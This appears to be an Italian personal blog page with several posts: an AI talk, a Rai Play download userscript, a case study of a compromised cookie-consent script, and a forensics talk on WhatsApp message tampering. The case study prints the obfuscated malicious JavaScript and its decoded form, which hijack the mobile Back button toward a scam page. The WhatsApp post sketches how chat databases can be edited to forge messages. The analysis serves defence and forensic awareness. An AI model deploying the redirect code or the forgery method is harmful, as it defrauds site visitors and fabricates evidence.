Introduzione all’intelligenza artificiale — Video del talk

Il 26 ottobre ho partecipato come relatore al Linux Day 2019 organizzato dal Gruppo Utenti GNU/Linux di Vicenza. Il filo conduttore di quest’anno era l’intelligenza artificiale e i video dei vari interventi sono stati poi pubblicati anche su YouTube.

Il mio intervento aveva un carattere piuttosto introduttivo, con lo scopo di presentare una panoramica della disciplina:

Introduzione all’intelligenza artificiale

Questo intervento si propone di fornire ai partecipanti una panoramica chiara, completa e divulgativa sull’Intelligenza Artificiale e la Computer Vision. Partendo da un’introduzione sui concetti di base, verrà spiegato il funzionamento base del Machine Learning e la sua implementazione attraverso le reti neurali. Non mancheranno cenni alle applicazioni quotidiane dell’Intelligenza Artificiale, inclusa la classificazione, la segmentazione e il riconoscimento dei testi.

Mi auguro che questo talk abbia permesso di fare un po’ di chiarezza, sottolineando come l’intelligenza artificiale abbia del potenziale enorme, ma non è perfetta e non è magia. Soprattutto, i robot non conquisteranno il mondo. 😀

Questo è il video su YouTube, come sempre di ottima qualità grazie al lavoro di montaggio di Stefano del LUG Vicenza:

Il materiale usato per la presentazione è una versione lievemente rivista di ciò che avevo presentato l’anno scorso nel ciclo di incontri Dieci volti dell’Informatica. Lo potete visionare cliccando qui.

Scaricare i video da Rai Play — L’ultimissimo script

Chi segue questo blog da un po’ di tempo sa che nel 2010 avevo pubblicato il mio primo script per salvare i video dal portale Rai, proseguendo poi nel 2012 con un secondo script rinnovato.

Erano tempi bui, in cui gli utenti Linux non potevano neppure vedere facilmente i programmi per via di Silverlight. Lo script aveva lo scopo di integrare e far riprodurre i video MP4 e i flussi MMS tramite un player nativo, per esempio VLC.

Ora i tempi sono cambiati e il sito si è evoluto numerose volte in questi ultimi 7 anni, così come i browser che usiamo per navigare. Adesso i video si possono vedere senza problemi su tutte le piattaforme, ma le numerose modifiche effettuate continuamente nell’arco di tutto questo tempo ha reso lo script precedente sempre più complicato e difficile da gestire.

Con la nuova grafica di Rai Play, ho tagliato i rami secchi, eliminando il supporto a vecchie versioni del sito, vecchi browser e vecchie abitudini di programmazione. Insomma, è stato riscritto tutto daccapo. 😀

Funzionamento dello script

Il mio script vi consente di scaricare i video da Rai Play senza dover fare alcun login. In tal caso, inibisce la finestra che invita l’utente ad accedere e attiva la navigazione quando si clicca sulle miniature dei video.

Il pulsante per i download viene inserito in due zone diverse:

  • sotto alla scheda di un episodio
  • all’interno del player video (vale solo per chi fa il login)

Quando viene premuto il pulsante, parte il processo di ricerca del video MP4. Se viene trovato un file, lo script mostra una finestra modale con il link al video. Altrimenti compare un messaggio di errore.

Estensione per il browser

Prima di installarlo, dovete aggiungere l’estensione adatta al vostro browser. Lo script è sviluppato espressamente per Greasemonkey (versione 4) e Tampermonkey, sui browser rilasciati negli ultimi 2 anni.

Altre piattaforme potrebbero funzionare ma non sono testate né è garantito alcunché. In base al vostro browser, potete usare:

Installazione dello script

A questo punto vi basta recarvi alla pagina di download per installare lo script, premendo il pulsante qui sotto. Nella pagina che si aprirà, dovrete cliccare Installa questo script.

Rai Play video download

Note importanti

Come sempre, ricordate che lo script può funzionare solo se la Rai ha caricato il file in MP4, e non sempre lo fanno. Questo non dipende da me perciò non scandalizzatevi.

Lo script funziona solo ed esclusivamente su Rai Play. Se volete continuare a scaricare da altre sezioni del sito Rai, dovrete installare il vecchio script (che ora viene esplicitamente marcato come Legacy) seguendo il post precedente.

Se vi piace lo script e lo ritenete uno strumento utile, vi ricordo che potete cliccare qui per eventuali donazioni.

Aggiornamenti futuri

Il vecchio script Rai.tv native video player and direct links – LEGACY non sarà più aggiornato. Potete naturalmente continuare a usarlo lo stesso, visto che attualmente funziona perfettamente per le altre sezioni del sito Rai.

Per quanto riguarda il nuovo Rai Play video download, vedremo per il futuro.

Come capita a ogni cambio del sito da parte della Rai, ultimamente sto notando interventi di tutti i tipi. Si passa dai commenti gentili e pazienti, a email più o meno insistenti… fino a qualche intervento al limite del passivo-aggressivo di persone che chiaramente non hanno la minima idea del lavoro che c’è dietro a tutto questo.

C’è chi mi scambia per un maggiordomo aspettandosi un aggiornamento a uno schiocco di dita (o all’invio di un commento sui social) e chi pensa che sia dovuto, scontato, ovvio che io passi il weekend a programmare uno script invece di spenderlo con gli amici.

A costo di dire qualcosa di sorprendente, io ho anche altro da fare. 😀 Dall’esperienza di questi anni sto imparando che pubblicare gli script che realizzo per me (come quelli delle TV) è sempre un rischio e porta poi a perdere un sacco di tempo in aggiornamenti e modifiche varie. Ho intitolato questo post (non a caso) “l’ultimissimo script” perché è anche un buon auspicio per il futuro. 😉

Quindi lo script continuerà ad essere quello che è sempre stato: un hobby. Ci lavoro se ho tempo, se ne ho voglia e se poi torna utile anche a me. 🙂

Come sempre, buona visione a tutti!

Lo strano caso delle promozioni truffa che infettano i siti web senza “bucarli”

Vi è mai capitato di navigare sul web da smartphone e all’improvviso ritrovarvi pagine pubblicitarie che si aprono da sole o addirittura appaiono nella cronologia senza averle mai visitate prima?

Vi avevo già parlato di come bloccare le pubblicità sui dispositivi Android, però questo fenomeno di “intrusione” nella lista di pagine visitate è piuttosto subdolo e a volte può capitare ugualmente. La cosa dà particolarmente fastidio quando gli utenti del vostro sito iniziano a lamentarsi del fenomeno.

Questo è proprio ciò che è successo ad un cliente: visitando il suo sito web da smartphone, la pagina si apriva correttamente. Navigando non si notava nulla, fino al momento di premere il tasto Indietro del browser. A quel punto, l’ignaro utente era inesorabilmente dirottato verso una pagina pubblicitaria camuffata da promozione Amazon.

Screenshot che rappresenta un presunto "Concorso Promozionale Amazon"
La finta promozione Amazon comparsa alla pressione del tasto Indietro

La richiesta che mi veniva posta era individuare la causa di questa “infezione” e rimuovere le pubblicità. Sembrava trattarsi di un classico caso di bonifica di siti web compromessi, come ne affronto abitualmente.

Tuttavia, a seguito di una veloce verifica, è risultato chiaro che il sito non era stato “bucato”. Nonostante ci siano malintenzionati che scansionano frequentemente la rete alla ricerca di siti con WordPress, Drupal oppure Joomla non aggiornati (o con plug-in vulnerabili) per violarli e infettarli, qui non era accaduto nulla del genere.

Lo sviluppo web con il tempo sta prendendo una direzione sempre più complessa e di conseguenza aumentano i componenti e le librerie che vengono usate nel lavoro. Chi ha sviluppato la grafica e le funzionalità del sito ha reputato opportuno usare alcune librerie Javascript, la maggior parte delle quali “interne”, quindi salvate direttamente nello spazio web associato al dominio in esame.

Nel verificare i file richiamati però spiccava invece un componente esterno, apparentemente innocuo e legato alla gestione della richiesta di consenso per l’uso dei cookie:

<!-- Begin Cookie Consent plugin by Silktide - http://silktide.com/cookieconsent -->
<!-- cookie conset latest version -->
<script type="text/javascript" src="https://s3-eu-west-1.amazonaws.com/assets.cookieconsent.silktide.com/current/plugin.min.js"></script>

Andando a vedere il contenuto del file, non compare nulla di buono. Il codice è chiaramente offuscato, non semplicemente compresso, cosa che dovrebbe far nascere dei seri sospetti sulla sua legittimità:

var _0xc368=["\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x74\x65\x73\x74","","\x23","\x70\x75\x73\x68\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x6F\x2E\x32\x63\x65\x6E\x74\x72\x61\x6C\x2E\x69\x63\x75\x2F\x3F\x75\x74\x6D\x5F\x6D\x65\x64\x69\x75\x6D\x3D\x35\x62\x66\x35\x30\x35\x65\x61\x32\x62\x65\x63\x30\x66\x61\x32\x30\x34\x33\x38\x31\x31\x65\x30\x30\x39\x62\x66\x39\x65\x35\x66\x30\x35\x32\x31\x32\x32\x39\x32\x26\x75\x74\x6D\x5F\x63\x61\x6D\x70\x61\x69\x67\x6E\x3D\x32\x63\x65\x6E\x74\x72\x61\x6C\x26\x31\x3D","\x72\x65\x70\x6C\x61\x63\x65"];if(/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i[_0xc368[1]](navigator[_0xc368[0]])){!function(){var _0xa9b1x1;try{for(_0xa9b1x1= 0;10> _0xa9b1x1;++_0xa9b1x1){history[_0xc368[4]]({},_0xc368[2],_0xc368[3])};onpopstate= function(_0xa9b1x1){_0xa9b1x1[_0xc368[5]]&& location[_0xc368[7]](_0xc368[6])}}catch(o){}}()}

Il trucco di mascherare i comandi utilizzando le entità esadecimali è abbastanza diffuso, ma è anche semplice da analizzare. Il metodo “pigro” è quello di usare Online JavaScript Beautifier e ottenere un codice decisamente più leggibile:

if (/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i ['test'](navigator['userAgent'])) {
    ! function() {
        var _0xa9b1x1;
        try {
            for (_0xa9b1x1 = 0; 10 > _0xa9b1x1; ++_0xa9b1x1) {
                history['pushState']({}, '', '#')
            };
            onpopstate = function(_0xa9b1x1) {
                _0xa9b1x1['state'] && location['replace']('http://to.2central.icu/?utm_medium=5bf505ea2bec0fa2043811e009bf9e5f05212292&utm_campaign=2central&1=')
            }
        } catch (o) {}
    }()
}

Ahia! Questa nefandezza si può riassumere in parole molto semplici:

  • se l’utente sembra navigare da un dispositivo mobile, allora aggiungi 10 voci vuote alla cronologia delle pagine precedenti
  • quando viene premuto il tasto Indietro, rimpiazza la pagina corrente con un URL che rimanda alla pagina truffaldina

In questo caso la soluzione da prospettare al cliente è relativamente semplice: basta eliminare il riferimento allo script incriminato e sostituirlo con un altro codice che chieda il consenso per i cookie.

Quando si utilizza uno script ospitato su server di terze parti, dovete tenere a mente che in futuro il contenuto potrebbe cambiare. Per esempio, quel dominio potrebbe essere violato o semplicemente scadere e venire registrato da qualcun altro che ci inserirà codice malevolo. È quindi consigliabile linkare da fonti esterne solo script veramente fidati, per minimizzare i rischi e le brutte figure.

Avete un sito web che è stato violato, invia spam o manifesta altri comportamenti strani? Cliccate qui per contattarmi e parliamone.

Come i malintenzionati potrebbero falsificare i messaggi WhatsApp

Il 31 maggio si è tenuto il seminario ONIF (Osservatorio Nazionale Informatica Forense) a Firenze, intitolato Orizzonte 2020 — Informatica Forense a supporto di Autorità Giudiziaria, Studi Legali, Aziende, Forze dell’Ordine e Privati.

In quell’occasione, ho voluto proporre un intervento riguardante il tampering dei messaggi WhatsApp, con alcune osservazioni sul rilevamento di queste manomissioni e le eventuali conseguenze pratiche. Lo scopo non era certo quello di dichiarare “inammissibile” in tribunale qualsiasi tipo di conversazione WhatsApp, ma solo porre alcune riflessioni sul significato e l’affidabilità che si dà a questo tipo di evidenze.

Mi sembrava interessante parlarne, anche considerando che a volte ci si è trovati di fronte a casi in cui persino gli screenshot sono stati considerati come elementi di prova validi (va ricordato che scientificamente non lo sono e non possono esserlo).

Nell’informatica forense è sempre utile interrogarsi su come potrebbero agire i malintenzionati per alterare o fabbricare prove digitali fasulle. Questo ci aiuta a ragionare su ciò che analizziamo e considerare tutto quanto con spirito critico.

Durante il talk Conseguenze e rilevamento del tampering sui messaggi WhatsApp, ho proposto due esperimenti per cercare di capire se fosse possibile:

  • modificare il testo di un messaggio ricevuto da un’altra persona, a vantaggio del destinatario
  • creare un messaggio finto, mai realmente ricevuto, e inserirlo nel proprio telefono in una conversazione con un’altra persona
Video integrale dell’intervento

Entrambi gli esperimenti sono stati effettuati sul database SQLite delle chat, trasferito su un dispositivo di lavoro tramite backup Google. Il trasferimento ci permette di lavorare su un dispositivo sottoposto a rooting anche quando lo smartphone originale non è “sbloccato”.

La modifica di un messaggio esistente è relativamente semplice, in quanto risulta sufficiente cercare il testo originale, modificarlo e salvare. Per quanto riguarda la creazione di un messaggio fasullo, essa richiede invece più attenzione. È necessario modificare gli id di tutti i messaggi successivi affinché non venga rilevata la manomissione.

In ogni caso, con un po’ di precisione e perseveranza, un malintenzionato potrebbe alterare i messaggi nelle proprie chat WhatsApp senza lasciare tracce visibili, per esempio inserendo illecitamente finti messaggi di minaccia insinuando poi di averli davvero ricevuti.

Maggiori dettagli sui procedimenti accennati sono presentati nel video dell’intervento disponibile su YouTube, nonché nelle slide che potete scaricare qui sotto.

Scarica le slide

Nella parte finale del video esprimevo stupore sul fatto che il mio contatto non avesse visualizzato notifiche sul codice di sicurezza cambiato. Due partecipanti al convegno mi hanno fatto notare come WhatsApp tenga disattivate queste notifiche, come impostazione di default. Li ringrazio per avermi chiarito questo dettaglio, che mi era totalmente sfuggito.

Seminario ONIF “Orizzonte 2020” — Firenze, 31/05/2019

L’associazione ONIF (Osservatorio Nazionale Informatica Forense) ha pubblicato il programma del convegno Orizzonte 2020 — Informatica Forense a supporto di Autorità Giudiziaria, Studi Legali, Aziende, Forze dell’Ordine e Privati. Il seminario si terrà il 31 maggio a Firenze, presso la Sala Verde di Palazzo Incontri, Via de Pucci 1, 50122 Firenze.

L’agenda è ricca di interventi molto interessanti, sia sul piano tecnico-scientifico che su quello legislativo. Questo è il programma completo:

  • 9:00 — Registrazione
  • 9:15 — Apertura lavori
    Banca Intesa Sanpaolo, Fondazione Forense di Firenze, Dott. Nanni Bassetti, Segretario Nazionale ONIF
  • 9:30 — Le nuove regole e la revisione dell’albo CTU del Tribunale di Firenze
    Ufficio di Presidenza del Tribunale di Firenze
  • 10:00 — Il Netherlands Register of Court Experts (NRGD)
    Dott. Mattia Epifani
  • 10:30 — Legge 48/2008, attesa quanto ignorata: dieci anni di casi reali
    Ing. Paolo Reale, Avv. Elisabetta Guarnieri
  • 11:00 — Break
  • 11:20 — Analisi di dispositivi mobile: stato attuale, integrazione con il cloud e difficoltà future
    Ing. Michele Vitiello, Dott. Paolo Dal Checco
  • 11:40 — Rilevamento e conseguenze delle manomissioni sui messaggi WhatsApp
    Dott. Andrea Lazzarotto
  • 12:00 — Digital Forensics Data Breach: perché gestire la violazione dei dati in maniera forense
    Dott. Alessandro Fiorenzi
  • 12:20 — Immagini e video digitali come fonte di prova
    Dott. Massimo luliani
  • 12:40 — Saluti e chiusura

Per partecipare all’evento è necessario procedere all’iscrizione gratuita sulla piattaforma EventBrite, facendo click sul seguente bottone.

Iscrizione gratuita